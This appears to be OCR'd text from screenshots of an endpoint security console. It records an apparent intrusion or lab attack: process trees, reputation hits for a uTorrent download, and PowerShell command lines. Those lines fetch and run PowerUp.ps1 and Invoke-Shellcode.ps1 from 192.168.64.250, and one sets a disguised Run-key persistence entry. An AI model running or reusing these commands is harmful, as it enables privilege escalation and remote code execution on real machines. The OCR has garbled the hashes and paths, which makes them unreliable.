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Executables Reputation

Protect network

Protect computer

§ Scan computer for malware

Shutdown computer
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<+ [}f services.exe (4358)

<+ [)? tomcat8.exe (2376)

- [}f cmd.exe (6984)
D; whoami.exe (7044)

- D; net.exe (4460)

+ D; net.exe (1964)




Executables

MAME (11016&) STATUS EXECUTED ON COMPUTERS ~

+ winlogon.exe (504)

+ . userinit.exe (1760)

+ B explorer.exe (1192)

+ B outlook.exe (5168)

+ winwoaord.exe (3816)

+ powershell.e
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torrent - Search Results

COMPUTERS

EXECUTABLES

MATCHED REPUTATION
EXECUTABLE MATCHED VALUE SHA-1
ATTRIBUTE (LIVEGRID®)

MName utomrent S4GDFABGALSAATAELASAZ F7AG366B5283238%9
AR

1 722
MName ment.exe 3026AFFB7AB92C1282F6COCETBOFS3349BF5C1EC
3

C1 5
Marne rrent.exe EE383558085APEES35CT7 84099543 DEYBAL1G5ETFDL

MName terrentportable_2.5.4.44520_cnline paf.exe CAEDCE11B2329A1FCT790848A0124EF40DTABBCAA

Results: 4 of 4

PROCESSES

ACTIONS

Modified File

Modified File downloadshutorrentportable_3.5.4.44520_online paf.exezoneidentifier
Arcessed file E downloadsiutorrentportable_3.5.4.44520_anline. paf.exe

Accessed file E E¥\downloads\utorrentportable_32.5.4.44520_online paf.exe

Modified File A1

Modified File %M ownloaded\utorrent

Modified Registry Value ware'\y 32node\microsoft\tracingwtorrentportable_3_rasapi3Zienablefiletracing






192.168.64.250 - Search Results

PROCESSES

PROCESS

powershell.exe(6968)

powershell.exe(5836)

&

powershell.exe(5304)

powershell.exe(4612)
ping.exe(4092)

ping.exe(3584)

COMMAND LINE

-ExecutionPolicy Bypass -Command IEX(New-Object Net. WebClient).DownloadString("http://192.168.64.250:8000/Privesc/PowerUp.ps1")

-NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command IEX(New-Object
Net.WebClient).DownloadString("http://192.168.64.250:8000/Privesc/PowerUp.ps1”)

add "HKLM\Sofware\Microsoft\Windows\CurrentVersion\Run" /v "GOOGLE_UPDATE" /t REG_SZ /d "start firefox http://192.168.64.250:8080/important_invoice"
-executionpolicy bypass -command IEX(New-Object Net. WebClient).DownloadString("http://192.168.64.250:8000/CodeExecution/Invoke-Shellcode.ps1”)
-executionpolicy bypass -command IEX(New-Object Net.WebClient).DownloadString("http://192.168.64.250:8000/CodeExecution/Invoke-Shellcode.ps1")
-executionpolicy bypass -command IEX(New-Object Net. WebClient).DownloadString("http://192.168.64.250:8000/CodeExecution/Invoke-Shellcode.ps1”)
-executionpolicy bypass -command (new-object net.webclient).DownloadFile("http://192.168.64.250:8000/CodeExecution/Invoke-Shellcode.ps1”, "\Invoke-
Shellcode.ps1")

-executionpolicy bypass -command IEX(New-Object Net.WebClient).DownloadString("http://192.168.64.250:8000/CodeExecution/Invoke-Shellcode.ps1”)
-executionpolicy bypass -command IEX(New-Object Net. WebClient).DownloadString("http://192.168.64.250:8000/CodeExecution/Invoke-Shellcode.ps1™)
192.168.64.250

192.168.64.250
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